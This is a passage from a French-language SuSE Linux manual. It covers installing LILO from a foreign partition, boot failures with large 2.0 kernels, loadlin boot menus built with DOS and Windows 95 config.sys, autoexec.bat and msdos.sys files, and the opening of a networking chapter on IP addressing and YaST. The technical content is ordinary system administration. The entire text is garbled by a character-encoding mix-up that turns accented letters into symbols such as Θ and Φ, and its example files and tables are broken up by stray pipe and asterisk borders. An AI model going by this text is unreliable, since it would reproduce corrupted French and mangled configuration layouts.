LILO doit Ωtre placΘ sur le MBR, par exemple /dev/hda et doit en plus
amorcer DOS depuis /dev/hda1. La procΘdure se dΘroule ainsi :
~ Vous crΘez un nouveau rΘpertoire, par exemple /mnt/LINUX et vous
y copiez les fichiers LILO que nous venons de mentionner depuis
/boot : boot.b, map, messages ainsi que les chargeurs (chain-loader)
pour les autres systΦmes d'exploitation (chain.b) et le noyau Linux
que LILO doit amorcer.
~ Vous crΘez un /mnt/LINUX/lilo.cfg dans lequel tous les chemins
d'accΦs pointent sur /mnt/LINUX (fichier 4.8.1 page ci-contre) :
140
__________________________________________________________________________________________4.8.__ProblΦmes_avec_LILO_________*
*______________________||||
_______________________________________________________________________________________________________________________||||
|||||||| # LILO Fichier de configuration RΘpertoire Θtranger |
|||||||||# Start LILO global Section ||
|||||||| boot=/dev/hda # Cible de l'installation |
|||||||| backup=/mnt/LINUX/hda.xxxx # sauvegarde de l'ancier MBR |
|||||||| |
|||||||| install=/mnt/LINUX/boot.b # Naturellement LILO et |
|||||||| map=/mnt/LINUX/map # fichier map dans /mnt/LINUX! |
|||||||| |
|||||||| message=/mnt/LINUX/message # optionnel |
|||||||| prompt |
|||||||| |
|||||||| timeout=100 # Attente α l'invite: 10 s |
|||||||| vga = normal # |
|||||||| # End LILO global section |
|||||||| |
|||||||| # |
|||||||| # Linux bootable partition config begins |
|||||||| |
|||||||| image = /mnt/LINUX/premier_noyau # par dΘfaut |
|||||||| root = /dev/Votre_pΘriphΘrique_racine # partition |
|||||||| |
|||||||| # racine par ici! |
|||||||| label = linux |
|||||||| |
|||||||| # Linux bootable partition config ends |
|||||||| # |
|||||||| |
|||||||| # Sections de systΦme pour autres noyaux ici: |
|||||||| # |
|||||||| # Fin de Linux |
|||||||| |
|||||||| # DOS bootable partition config begins |
|||||||| other = /dev/hda1 # UnitΘ de disque MSDOS |
|||||||| |
|||||||| label = dos |
|||||||| loader = /mnt/LINUX/chain.b |
|||||||| |
|||||||| table = /dev/hda |
|||||||| # DOS bootable partition config ends |
||||||||_______________________________________________________________________________________________________________ |
fichier 4.8.1: lilo.cfg pour partition ΘtrangΦre
~ Vous installez LILO avec ce lilo.cfg :
terre: # /sbin/lilo -C /mnt/LINUX/lilo.cfg
LILO devrait ensuite fonctionner. Amorcez MS-DOS et protΘgez les
fichiers LILO , autant que faire se peut, contre les accΦs en Θcriture.
(Rappel : chacun de ces accΦs met LILO hors fonction !). Assignez
au moins les attributs DOS systΦme et cachΘ α tous les fichiers dans
X:\LINUX (X : Θtant l'unitΘ MS-DOS qui vient d'Ωtre montΘe sous
/mnt).
Pour terminer, nous tenons α attirer votre attention sur les deux HOWTO
LILO.gz et Large-Disk.gz qui traitent ce sujet (/usr/doc/howto/en/
mini/).
4.8.3 ProblΦmes d'amorτage particuliers avec le noyau α partir de 2.0
Lors de l'amorτage avec LILO ~ que ce soit α partir d'une disquette ou d'un
disque dur ~ il survient quelquefois des problΦmes aprΦs le chargement d'un
gros noyau (par exemple le noyau d'installation SuSE ) :-(
Bien qu'il soit possible de sΘlectionner un noyau α l'invite de LILO et bien
que le noyau soit aussi chargΘ (certains points sont affichΘs), il se peut que le
*
* 141
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
dΘmarrage ne se fasse pas. Cela signifie qu'avant le message "uncompres-
sing Linux" le systΦme se plante en rΘagissant de diverses maniΦres.
Messages ou sympt⌠mes d'erreurs possibles :
~ Le systΦme amorce de nouveau
~ Le systΦme demeure inerte
~ "crc-error"
~ "no free space"
~ "Error 0x00"
~ "Error 0x01"
~ "incomplete literal tree"
Ensuite, on accΦde encore partiellement α la disquette mais le systΦme ne
bouge pas.
La cause rΘside dans la combinaison d'un gros noyau, de LILO et d'un ma-
tΘriel dΘficient. Ceci concerne environ 1 % des machines.
Nous supposons qu'un BIOS dΘfectueux a des difficultΘs α accΘder rapide-
ment α la mΘmoire.
Ce problΦme ne survient pas si
~ Linux a ΘtΘ amorcΘ avec loadlin (paragraphe 4.9 page suivante),
~ le noyau a ΘtΘ copiΘ sur une disquette par exemple avec
terre: # dd if=/boot/vmlinuz of=/dev/fd0
et s'il est chargΘ directement α partir de celle-ci
~ un plus petit noyau qui a ΘtΘ crΘΘ avec
terre: # make zImage
est amorcΘ avec LILO .
Les configurations de BIOS suivantes ont Θgalement pu amorcer sans pro-
blΦme :
~ Mettre hors fonction (disable ) ``Internal Cache''
~ DRAM Precharge Wait State sur 1 et
~ DRAM Wait Burst Timing auf 0x3333
Solution
Tout d'abord, il est nΘcessaire qu'un systΦme puisse Ωtre installΘ. Si vous
ne pouvez pas amorcer directement avec loadlin (ou setup.exe ) vous devriez
utiliser pour l'installation une vieille disquette d'amorτage 1.2.13. Si vous
n'en avez pas α votre disposition, modifiez les paramΦtres du BIOS.
AprΦs une installation terminΘe avec succΦs, la question se pose de savoir
comment amorcer le systΦme. On amorce d'abord α partir du mΩme support
que pour l'installation. Avec loadlin α partir de la partition DOS, il n'y a au-
cun problΦme. Avec une disquette d'amorτage, spΘcifiez comme paramΦtre :
load_ramdisk=0 root=/dev/<partition_racine>
<partition racine> est ici la partition racine, par exemple hda1.
142
______________________________________________4.9.__Construire_un_mΘcanisme_d'amorτage_avec_loadlin_________________________*
*______________________
4.9 Construire un mΘcanisme d'amorτage avec loadlin
Nous allons maintenant, avec loadlin , vous prΘsenter une autre mΘthode
d'amorτage de SuSE Linux. loadlin est un programme DOS capable de dΘ-
marrer un noyau Linux stockΘ dans un rΘpertoire DOS. loadlin s'intΦgre har-
monieusement dans un environnement DOS/Windows 9x et peut Ωtre aisΘ-
ment lancΘ α l'aide du gestionnaire d'amorτage de Windows. Aucune entrΘe
n'Θtant faite dans le + MBR, Windows ne voit de Linux qu'une ou plusieurs
partitions avec des identificateurs (angl. ID) qui lui sont inconnus. Le risque
d'effets secondaires indΘsirables dus α la prΘsence de Linux sur votre ma-
chine devient ainsi minimal. La procΘdure dΘcrite ici fonctionne aussi bien
avec Windows 95 qu'avec Windows 98. Les fichiers de configuration qui vous
sont prΘsentΘs ont ΘtΘ dΘveloppΘs sous Windows 95, c'est pourquoi il ne sera
question ici que de Windows 95.
Si vous voulez utiliser loadlin pour lancer Linux, vous devez prΘparer le
chemin. Vous devez aussi, en fonction des caractΘristiques de votre systΦme,
modifier certains fichiers de dΘmarrage.
Vous pouvez, en principe, activer loadlin de deux maniΦres : en choisissant,
lors du dΘmarrage du systΦme, entre plusieurs configurations dans le menu de
dΘmarrage ou en activant loadlin α partir du systΦme en cours d'exΘcution et
en passant α Linux.
Ces deux mΘthodes ont leurs avantages et leurs inconvΘnients :
~ Le menu de dΘmarrage vous Θvite de faire un dΘtour par un autre systΦme
d'exploitation afin de pouvoir lancer Linux.
~ Dans un menu de dΘmarrage, vous pouvez aussi inclure d'autres configu-
rations et construire ainsi un mΘcanisme de dΘmarrage universel.
~ Vous devez toutefois modifier les fichiers de dΘmarrage pour crΘer un
menu de dΘmarrage ; pour cela, il est parfois nΘcessaire de faire quelques
essais. Vous pouvez Θventuellement trouver quelque chose dans les fi-
chiers d'aide DOS en tapant help menu .
~ └ l'invite du DOS, le passage α Linux est trΦs facile.
~ Sous Windows 95, il est possible d'intΘgrer harmonieusement le mΘca-
nisme de dΘmarrage de Linux dans l'interface graphique. Un double clic
sur une ic⌠ne vous fait passer sous Linux. Mais un menu de dΘmarrage
est Θgalement possible sous Windows 95 (Windows 95 inclut DOS 7.0).
Recommandation
_______________________________________________________________________________________________________________________|||
|||||||| || |
|||||||| Utilisez, si possible, un menu de dΘmarrage si vous voulez lancer Linux || |
|||||||| directement aprΦs l'allumage de la machine. La mΘthode de l'invite du || |
|||||||| || |
|||||||| DOS ou du double clic peut aussi Ωtre utilisΘe en supplΘment si vous voulez || |
|||||||| passer de DOS/Windows 95 α Linux. || |
|||||||| || |
|||||||| Il y aurait beaucoup α dire sur les menus de dΘmarrage et la configuration || |
|||||||| de Windows 95 et vous comprendrez que nous ne pouvons traiter ici que || |
|||||||| || |
|||||||| les grandes lignes de ces sujets. || |
||||||||_______________________________________________________________________________________________________________||_
*
* 143
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
4.9.1 Fichiers indispensables pour loadlin
Voici ce que vous devez toujours faire (sous DOS, Windows 3.x et Win-
dowx 95) :
1. Vous avez probablement dΘjα installΘ loadlin (voir paragraphe 2.5.4
page 52). Si ce n'est pas le cas, vous devez d'abord l'installer α partir du
CD 1 via setup .
2. Passez (sous MS-DOS) au dossier c :\loadlin . Il s'y trouve un fi-
chier linux.par . CrΘez, α l'aide d'un Θditeur, un fichier du nom de
startlin.bat . (ou d'un autre nom qui vous convient). ╔crivez dans ce
fichier une ligne semblable par exemple α celle du fichier 4.9.1.
________________________________________________________________________________________________________*
*________
| c:\loadlin\loadlin @c:\loadlin\linux.par *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 4.9.1: Exemple d'un fichier batch pour le dΘmarrage de Linux
╔ditez maintenant, dans le fichier linux.par, la ligne suivante de la
mΩme maniΦre que dans le fichier 4.9.2
________________________________________________________________________________________________________*
*________||
| c:\loadlin\zimage # la premiΦre valeur doit Ωtre *
* |
| *
* |
| # le nom de fichier du noyau Linux *
* |
| *
* |
| initrd=c:\loadlin\initrd *
* |
| *
* |
| *
* |
| root=/dev/xxx # le pΘripherique sera montΘ *
* |
| *
* |
| # comme systΦme de fichiers racine (root) *
* |
| *
* |
| *
* |
| ro # monte root en lecture seule (read only) *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 4.9.2: Exemple d'un fichier de paramΦtres pour le dΘmarrage de Linux
└ la place de xxx , vous entrerez le nom du pΘriphΘrique de votre parti-
tion racine (vous aviez dΘjα notΘ ce nom par Θcrit au paragraphe 2.10.2
page 77). Vous n'avez besoin de l'entrΘe initrd que si vous devez par
exemple charger en plus le support SCSI directement lors de l'amorτage
(au sujet du concept du disque virtuel initial (angl. initial ramdisk), voir
le paragraphe 16.2 page 424). Avec le fichier startlin.bat, vous pou-
vez α tout moment lancer Linux α l'invite du DOS. Le fichier linux.par
est utilisΘ aussi bien par startlin.bat que par config.sys et contient
tous les paramΦtres indispensables au lancement de Linux. Lorsque vous
serez familiarisΘ avec Linux, vous pourrez ajouter et/ou remplacer des pa-
ramΦtres dans linux.par. Lorsque vous aurez plus tard construit votre
propre noyau, vous le copierez α partir du systΦme de fichiers Linux vers
c :\loadlin\zimage et c'est dΘsormais ce noyau qui sera lancΘ. En cas
de besoin, vous devrez aussi y placer un initrd nouvellement gΘnΘrΘ.
4.9.2 CrΘation de menus de dΘmarrage
Voici comment procΘder pour crΘer un menu de dΘmarrage sous DOS ou
Windows 3.x :
144
______________________________________________4.9.__Construire_un_mΘcanisme_d'amorτage_avec_loadlin_________________________*
*______________________
1. Vous devez tout d'abord dΘfinir un menu de dΘmarrage dans le fichier
c :\config.sys . Pour cela, faites des entrΘes analogues α celles du
fichier 4.9.3.
_______________________________________________________________________________________________________________________||
|||||||| [Menu] |
|||||||| menuitem=Win, DΘmarrer Windows ... |
|||||||| |
|||||||| menuitem=DOS, DΘmarrer MS-DOS ... |
|||||||| menuitem=Linux, DΘmarrer Linux ... |
|||||||| |
|||||||| menucolor=15,1 |
|||||||| menudefault=Win,5 |
||||||||_______________________________________________________________________________________________________________ |
fichier 4.9.3: Exemple pour config.sys (1Φre partie) pour le lancement de
Linux
Sous le label [Menu] , vous dΘfinirez les entrΘes du menu de dΘmarrage
ainsi que sa couleur et vous prΘciserez au bout de combien de secondes
quelle option du menu devra Ωtre automatiquement activΘe.
2. Plus bas, vous ajouterez les labels [Common] , [Win] , [DOS] et [Linux] .
Pour Common, vous Θcrirez les entrΘes qui devront toujours Ωtre valables
et pour les autres labels, les entrΘes qui ne seront valables que pour une
option prΘcise. Utilisez pour cela les lignes qui se trouvent dans votre
config.sys|actuel. Le fichier 4.9.4 vous montre un exemple. |
_______________________________________________________________________________________________________________________||||
|||||||| [Common] |
|||||||| device=c:\dos\himem.sys /testmem:off |
|||||||| |
|||||||| device=c:\dos\emm386.exe noems |
|||||||| dos=high,umb |
|||||||| |
|||||||| files=30 |
|||||||| buffers=10 |
|||||||| |
|||||||| shell=c:\dos\command.com |
|||||||| |
|||||||| [Win] |
|||||||| |
|||||||| devicehigh=c:\dos\dblspace.sys /move |
|||||||| devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C |
|||||||| |
|||||||| |
|||||||| [DOS] |
|||||||| |
|||||||| devicehigh=c:\dos\dblspace.sys /move |
|||||||| devicehigh=c:\cd\slcd.sys /D:SONY_000 /B:340 /M:P /V /C |
|||||||| |
|||||||| |
|||||||| [Linux] |
|||||||| |
|||||||| shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par |
|||||||| |
|||||||| |
|||||||| [Common] |
|||||||| rem Reste vide |
||||||||_______________________________________________________________________________________________________________ |
fichier 4.9.4: Exemple pour config.sys (2Φme partie) pour le lancement de
Linux
Stockez ensuite le fichier en mΘmoire.
3. Ouvrez maintenant le fichier c :\autoexec.bat . Dans ce fichier, vous
devez Θcrire les mΩmes labels et leur attribuer des entrΘes mais la notation
*
* 145
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
est quelque peu diffΘrente. Le label qui a ΘtΘ choisi dans le menu de
| dΘmarrage est inclus dans la variable %config%. ╔crivez quelque chose *
* |
| qui sera peut-Ωtre similaire au contenu du fichier 4.9.5. *
* |
| *
* |
________________________________________________________________________________________________________*
*________||
| @echo off *
* |
| *
* |
| *
* |
| rem EntrΘes pour toutes les configurations *
* |
| switches= /f *
* |
| *
* |
| set comspec=c:\dos\command.com *
* |
| prompt $p$g *
* |
| *
* |
| loadhigh c:\dos\keyb gr,,c:\dos\keyboard.sys *
* |
| loadhigh c:\dos\doskey *
* |
| *
* |
| set temp=c:\temp *
* |
| loadhigh c:\dos\mscdex.exe /D:SONY_000 /E /V /L:H *
* |
| *
* |
| c:\logimaus\mouse.exe *
* |
| *
* |
| *
* |
| goto %config% *
* |
| *
* |
| :Win *
* |
| *
* |
| c:\dos\smartdrv.exe a- b- c+ 2048 1024 *
* |
| path c:\windows;c:\dos;c:\util; *
* |
| *
* |
| win *
* |
| c:\dos\smartdrv /C *
* |
| *
* |
| goto ende *
* |
| *
* |
| *
* |
| :DOS *
* |
| path c:\dos;c:\util; *
* |
| *
* |
| goto ende *
* |
| *
* |
| *
* |
| :ende *
* |
| echo * Au revoir * *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 4.9.5: Exemple pour autoexec.bat pour le lancement de Linux
4. Si vous amorcez maintenant votre machine, le menu de dΘmarrage ap-
paraεt et vous avez 5 secondes pour sΘlectionner une entrΘe. Au bout
de 5 secondes, Windows dΘmarrera automatiquement. Si vous choisissez
`Linux', Linux dΘmarre et attend votre login.
4.9.3 DΘmarrage α partir de Windows
ProcΘdez ainsi afin de crΘer une ic⌠ne de dΘmarrage qui vous servira α amor-
cer Linux α partir d'un systΦme Windows 95 en cours d'exΘcution.
1. Cliquez dans le dossier c :\loadlin , marquez le fichier startlin.bat
et sΘlectionnez `Copier' dans le menu `╔dition'.
2. Passez maintenant dans un dossier ou sur un bureau, selon l'emplacement
que vous avez prΘvu pour votre ic⌠ne Linux. pressez le bouton droit de la
souris et sΘlectionnez `CrΘer un lien'.
3. Marquez le lien qui vient d'Ωtre ajoutΘ, pressez le bouton droit de la sou-
ris et sΘlectionnez `CrΘer un lien'. Passez au registre `Programme',
146
______________________________________________4.9.__Construire_un_mΘcanisme_d'amorτage_avec_loadlin_________________________*
*______________________
cliquez en bas sur le bouton `╔tendue'. Marquez d'une croix, dans le
masque, le champ `Mode MS-DOS'. Validez avec `OK'.
4. └ l'aide du bouton `Autre symbole', vous pouvez choisir une belle
ic⌠ne et donner au lien un nom adΘquat. Vous avez maintenant terminΘ !
5. Un double clic sur le nouveau symbole fait apparaεtre un masque qui
confirme que Windows 95 s'efforce de passer en mode MS-DOS. Si ce
masque vous Θnerve : dΘsactivez-le dans les propriΘtΘs du lien.
4.9.4 Le menu de dΘmarrage Windows
Vous procΘderez ainsi pour crΘer un menu de dΘmarrage pour Windows 95 :
1. Vous devez tout d'abord Θditer le fichier c :\msdos.sys . Pour cela vous
le rendrez visible au moyen de
C :> attrib -R -S -H c :\msdos.sys
C'est un fichier texte auquel vous devrez ajouter quelques lignes pour
activer le menu de dΘmarrage propre α Windows 95. Sous le label
[Options] , cela devrait avoir plus ou moins l'aspect du fichier 4.9.6.
_______________________________________________________________________________________________________________________||
|||||||| [Options] |
|||||||| BootGUI=0 |
|||||||| |
|||||||| BootDelay=0 |
|||||||| BootMenu=0 |
|||||||| |
|||||||| Logo=0 |
||||||||_______________________________________________________________________________________________________________ |
fichier 4.9.6: msdos.sys pour le lancement de Linux
Le paramΦtre Logo=0 est optionnel et empΩche Windows 95 de passer,
avant l'amorτage, en mode graphique. L'amorτage se fait plus rapidement
et vous aurez moins d'ennuis si vous voulez utiliser plus tard, sous Linux,
l'Θmulateur DOS.
Le paramΦtre BootGUI=0 amΦne Windows 95 α passer directement en
mode DOS. AprΦs avoir ΘditΘ les fichiers, vous remettrez les attributs dans
leur Θtat d'origine. Pour que Windows dΘmarre, l'entrΘe
C :> win
doit Ωtre faite α l'invite du DOS. Mais c'est ce que fait dΘjα notre fichier
exemple c :\autoexec.bat si vous avez choisi Win95 dans le menu.
2. Vous devrez ensuite dΘfinir votre propre menu de dΘmarrage dans le fi-
chier c :\config.sys . Pour cela, vous pouvez mettre, par exemple au
dΘbut du fichier, le contenu du fichier 4.9.7.
_______________________________________________________________________________________________________________________||
|||||||| [Menu] |
|||||||| menuitem=Win95, dΘmarrer Windows 95 ... |
|||||||| |
|||||||| menuitem=DOS, dΘmarrer MS-DOS ... |
|||||||| menuitem=Linux, dΘmarrer Linux ... |
|||||||| |
|||||||| menudefault=Win95,5 |
||||||||_______________________________________________________________________________________________________________ |
fichier 4.9.7: Exemple pour config.sys (1Φre partie) pour le lancement de
Linux sous Windows 95
*
* 147
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
Sous le label [Menu] , vous dΘfinirez les entrΘes du menu de dΘmarrage et
vous prΘciserez au bout de combien de secondes quelle option du menu
devra Ωtre automatiquement activΘe.
3. Plus loin, en bas, se trouvent les labels [Win95] , [DOS] , [Linux] et
[Common] . Pour [Common] , vous Θcrirez les entrΘes qui devront toujours
Ωtre valables (sous Windows 95 elles sont peu nombreuses). Pour les
autres labels, les entrΘes qui ne sont valables que pour une option prΘcise
du menu de dΘmarrage. Utilisez pour cela les lignes qui se trouvent dans
votre config.sys actuel. L'exemple donnΘ dans le fichier 4.9.8 est une
simple suggestion.
________________________________________________________________________________________________________*
*________||||
| [Win95] *
* |
| dos=high,umb *
* |
| *
* |
| device=c:\windows\himem.sys /testmem:off *
* |
| *
* |
| *
* |
| [DOS] device=c:\plugplay\drivers\dos\dwcfgmg.sys *
* |
| dos=high,umb *
* |
| *
* |
| device=c:\windows\himem.sys /testmem:off *
* |
| device=c:\windows\emm386.exe noems I=B000-B7FF *
* |
| *
* |
| devicehigh=c:\cdrom\torisan.sys /D:TSYCD3 /P:SM *
* |
| *
* |
| *
* |
| [Linux] *
* |
| shell=c:\loadlin\loadlin.exe @c:\loadlin\linux.par *
* |
| *
* |
| *
* |
| [Common] *
* |
| accdate=C+ D+ H+ *
* |
| *
* |
| switches= /F buffers=20 *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 4.9.8: Exemple pour config.sys (2Φme partie) pour le lancement de
Linux sous Windows 95
Sauvegardez ensuite le fichier.
4. └ prΘsent, ouvrez le fichier c :\autoexec.bat . Dans ce fichier, vous
devez Θcrire les mΩmes labels et attribuer des entrΘes α ces labels. La
notation est maintenant quelque peu diffΘrente. Le label qui a ΘtΘ choisi
dans le menu de dΘmarrage est inclus dans la variable %config%. Ecrivez
quelque chose qui sera peut-Ωtre similaire au contenu du fichier 4.9.5
page 146.
5. Si vous amorcez maintenant votre machine, vous verrez apparaεtre votre
propre menu de dΘmarrage. Vous aurez 5 secondes pour faire votre choix.
Ensuite Windows 95 dΘmarrera automatiquement. Si vous sΘlectionnez
`Linux', Linux dΘmarre et attend votre login.
148
______________________________________________4.9.__Construire_un_mΘcanisme_d'amorτage_avec_loadlin_________________________*
*______________________
|||||||| |
_______________________________________________________________________________________________________________________||||
|||||||| @echo off |
|||||||| loadhigh keyb gr,,c:\windows\command\keyboard.sys |
|||||||| |
|||||||| goto %config% |
|||||||| |
|||||||| :Win95 |
|||||||| |
|||||||| win |
|||||||| goto ende |
|||||||| |
|||||||| |
|||||||| :DOS |
|||||||| |
|||||||| path c:.;d:.;c:\windows\command;c:\util; |
|||||||| loadhigh c:\windows\command\mscdex.exe /D:TSYCD3 /L:x |
|||||||| |
|||||||| loadhigh c:\windows\command\doskey |
|||||||| c:\windows\command\mouse.exe |
|||||||| |
|||||||| goto ende |
|||||||| |
|||||||| |
|||||||| :ende |
|||||||| echo * Et maintenant? * |
||||||||_______________________________________________________________________________________________________________ |
fichier 4.9.9: Exemple pour autoexec.bat pour le lancement de Linux sous
Windows 95
*
* 149
4. Amorτage et gestionnaires_d'amorτage___________________________________________________________________________________________*
*_______________________________________@
150
TroisiΦme partie
Configuration du rΘseau
151
Chapitre 5
En rΘseau avec Linux
Remarques prΘliminaires sur les connexions rΘseau
└ notre Θpoque qui est l'Φre de la communication, le nombre de machines in-
terconnectΘes s'est α ce point accru qu'il est de plus en plus rare de rencontrer
un ordinateur isolΘ qui ne soit pas, au moins temporairement, reliΘ α un rΘ-
seau. VΘritable enfant d'Internet, Linux remplit toutes les conditions requises
pour jouer un r⌠le dans le domaine de la communication et fournit tous les
outils nΘcessaires α une intΘgration dans des rΘseaux de diverses structures.
Dans ce chapitre, nous allons vous donner un aperτu de toutes les opΘrations
α effectuer pour l'Θtablissement et le maintien d'une connexion rΘseau. Nous
aborderons la question des fichiers centraux de configuration et nous vous
prΘsenterons les outils essentiels.
Nous allons d'abord vous montrer comment intΘgrer une machine Linux dans
un + LAN dΘjα existant et comment mettre en place un petit + rΘseau consti-
tuΘ de machines Linux. Nous parlerons ensuite de la connexion par modem
α d'autres machines. Il vous sera expliquΘ comment Θtablir une connexion
Internet via PPP. Un paragraphe assez long est consacrΘ α la configuration
ISDN1 . Nous parlerons aussi de la configuration du systΦme de mails et de
news et pour conclure, nous vous prΘsenterons un systΦme de fax sous Linux.
La quasi-totalitΘ de la configuration rΘseau peut Ωtre effectuΘe avec YaST
(voir paragraphe 3.6 page 100 et paragraphe 17.6 page 451). Mais comme la
configuration d'un rΘseau peut devenir trΦs complexe, nous dΘcrirons aussi
dans ce chapitre les mΘcanismes de base ainsi que les fichiers qui jouent un
r⌠le essentiel dans la configuration du rΘseau.
Et maintenant bon voisinage ~ la connexion au LAN
Il n'est absolument pas problΘmatique d'intΘgrer une machine Linux dans un
LAN constituΘ de machines Unix parmi lesquelles il peut bien s√r aussi se
trouver d'autres machines Linux. Il y a bien quelques conditions (peu nom-
breuses) α remplir mais elles ne reprΘsentent pas une restriction fondamentale
α l'utilisation de Linux dans un environnement rΘseau.
1 ____________________________________________________
N.d.l.T : dans le monde francophone RNIS.
*
* 153
5. En rΘseau avec_Linux___________________________________________________________________________________________________________*
*_______________________________________@
Conditions et travaux prΘalables
Linux supporte maintenant une palette trΦs variΘe de cartes rΘseau ~ Ethernet,
Arcnet, TokenRing ~ et connaεt presque tous les protocoles rΘseau courants
~ TCP/IP, IPX, AppleTalk. Une description de toutes les configurations thΘo-
riquement possibles dΘpasserait de loin le cadre de ce chapitre. Nous traite-
rons donc le cas normal de l'intΘgration dans un rΘseau TCP/IP d'une ma-
chine Linux dotΘe d'une carte Ethernet. Vous trouverez les derniΦres infor-
mations concernant d'autres rΘseaux dans le rΘpertoire /usr/src/linux/
Documentation des sources du noyau. La fonction d'aide vous fournit en
outre, lors de la configuration du noyau, de prΘcieuses informations complΘ-
mentaires
Les conditions suivantes doivent Ωtre remplies :
~ La machine doit disposer d'une carte rΘseau supportΘe. Vous pourrez voir
que la carte a ΘtΘ reconnue correctement si la sortie de la commande
terre:~ # /sbin/ifconfig
contient une ligne commenτant par eth0 : .
________________________________________________________________________________________________________*
*________||||
| *
* |||
| Si le noyau utilise un module pour le support de la carte rΘseau ~ *
* |||
| c'est ainsi que les noyaux SuSE vous sont fournis de faτon standard *
* |||
| *
* |||
| ~, le nom du module doit Ωtre inscrit sous forme d'alias dans le fichier *
* |||
| /etc/modules.conf. Pour votre permiΦre carte par exemple dans ce *
* |||
| *
* |||
| style : *
* |||
| *
* |||
| *
* |||
| alias eth0 tulip *
* |||
| *
* |||
| *
* |||
| Ceci aura lieu automatiquement si le support pour la carte rΘseau a ΘtΘ *
* |||
| *
* |||
| chargΘ sous Linuxrc durant la premiΦre installation. Par la suite, cette *
* |||
| procΘdure pourra Ωtre effectuΘe α partir de YaST (voir paragraphe 3.6.1 *
* |||
| *
* |||
| page 100). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Ces conditions Θtant remplies, nous allons maintenant, avant de passer α la
configuration du rΘseau, vous donner une explication succincte des termes
employΘs dans le tableau 5.1 page 156.
_______________________________________________________________________________________________________*
*_________
Nom de ma- Nom d'h⌠te que la machine doit avoir dans le rΘseau,
chine par exemple terre . Ce nom ne doit pas comporter
plus de huit caractΦres et ne doit pas avoir dΘjα ΘtΘ
attribuΘ dans le rΘseau local.
_______________________________________________________________________________________________________*
*_________
Tab. 5.1: Continuer α la page suivante...
154
______________________________________________________________________________________________5.__En_rΘseau_avec_Linux_________*
*___________________
______________________________________________________________________________________________________________________
Nom de do- Nom du domaine auquel doit appartenir la machine.
maine Les domaines servent α la structuration de grands rΘ-
seaux. On accΦde α une machine en spΘcifiant son
nom de domaine pleinement qualifiΘ (angl. fully qua-
lified domain name (FQDN)). Celui-ci comprend le
nom de la machine, le nom du domaine et le nom du
domaine de premier niveau (angl. top-level domain).
Ainsi, par exemple, terre.cosmos.univers est la
machine terre dans le domaine cosmos.univers .
Le domaine de premier niveau est constituΘ de quatre
lettres au maximum. L'exemple pour un nom de do-
maine pleinement qualifiΘ est Nom de machine.Nom
de domaine.Domaine de premier niveau.
Adresse IP L'adresse de la machine dans le rΘseau. Toute ma-
chine en rΘseau possΦde pour chaque interface rΘseau
(par exemple carte rΘseau ou carte ISDN) au moins
une adresse qui ne prΘsente aucune ambigu∩tΘ dans le
rΘseau. Selon la norme standard actuellement en vi-
gueur, cette adresse est constituΘe par une sΘquence
de quatre octets sΘparΘs normalement par des points ~
par exemple 192.168.0.20 .
En choisissant des adresses IP, vous devez avoir prΘ-
sent α l'esprit que le rΘseau local devra peut-Ωtre un
jour Ωtre connectΘ α Internet. En prΘvision de cette
ΘventualitΘ, nous vous conseillons d'utiliser dΦs le dΘ-
part des adresses IP enregistrΘes.
Pour un rΘseau purement privΘ, le document de travail
RFC 1597 prΘvoit trois zones d'adresses qui garan-
tissent que mΩme dans le cas o∙ une connexion In-
ternet serait Θtablie par inadvertance il ne surviendra
aucun problΦme car elles ne seront pas routΘes entre
les systΦmes Internet. Ces zones d'adresses sont :
10.0.0.0 ) 10.255.255.255 (Class A)
172.16.0.0 ) 172.31.255.255 (Class B)
192.168.0.0 ) 192.168.255.255 (Class C)
Certaines adresses IP ne sont pas destinΘes α Ωtre at-
tribuΘes α des machines. Elles ont des fonctions spΘ-
ciales comme par exemple 192.168.0.0 qui est prΘ-
vue pour le rΘseau lui-mΩme et 192.168.0.255 qui
est l'adresse de diffusion (angl. broadcast address) α
utiliser pour le rΘseau.
______________________________________________________________________________________________________________________
Tab. 5.1: Continuer α la page suivante...
*
*155
5. En rΘseau avec_Linux___________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
Adresse de pas- Si vous avez dans votre rΘseau une machine faisant
serelle office de passerelle (angl. gateway), c'est-α-dire une
machine reliΘe α plus d'un rΘseau et qui se charge de la
transmission de paquets dans le rΘseau Θtranger, vous
pouvez indiquer son adresse lors de votre configura-
tion rΘseau.
Masque rΘseau └ l'aide du masque rΘseau (angl. netmask), on
dΘtermine dans quel rΘseau on pourra trouver une
adresse donnΘe. L'adresse IP de l'h⌠te est reliΘe au
masque rΘseau par un ET logique ce qui provoque
la suppression de la partie h⌠te de l'adresse, de telle
sorte qu'il ne subsiste plus que l'adresse du rΘseau.
255.255.255.0 par exemple est un masque rΘseau
typique.
Adresse du ser- Les serveurs de noms mettent α disposition le ser-
veur de noms vice DNS, (angl. Domain Name Service) par lequel
les noms de machines sont convertis en adresses IP.
Ainsi, par exemple, on associe α la machine terre
l'adresse IP 192.168.0.20 .
Si vous avez accΦs par le rΘseau α un serveur de noms
que vous souhaitez utiliser, vous devez spΘcifier son
adresse lors de la configuration de votre rΘseau.
_______________________________________________________________________________________________________*
*_________
Tab. 5.1: ParamΦtres pour la configuration du rΘseau
5.1 Configuration α l'aide de YaST
Vous pouvez maintenant effectuer la configuration des logiciels rΘseau avec
YaST . Tenez compte, pour cette procΘdure, des points mentionnΘs au para-
graphe 25 page 154.
1. Connectez-vous en tant qu'utilisateur `root'.
2. Lancez YaST et passez au menu `Administration du systΦme',
`Configuration de base du rΘseau'.
3. Choisissez un `numΘro' disponible, par exemple 0 .
4. Choisissez,_ comme pΘriphΘrique, `Ethernet' en appuyant sur la
touche |F___|5et quittez le masque en activant le bouton `Continuer'.
5. Appuyez sur la touche |F___|_6(`Adresse IP') et spΘcifiez l'adresse IP de
la machine, par exemple 192.168.0.20 . Ensuite, vous devrez spΘcifier
le masque rΘseau. Pour un rΘseau de classe C (jusqu'α 254 machines dans
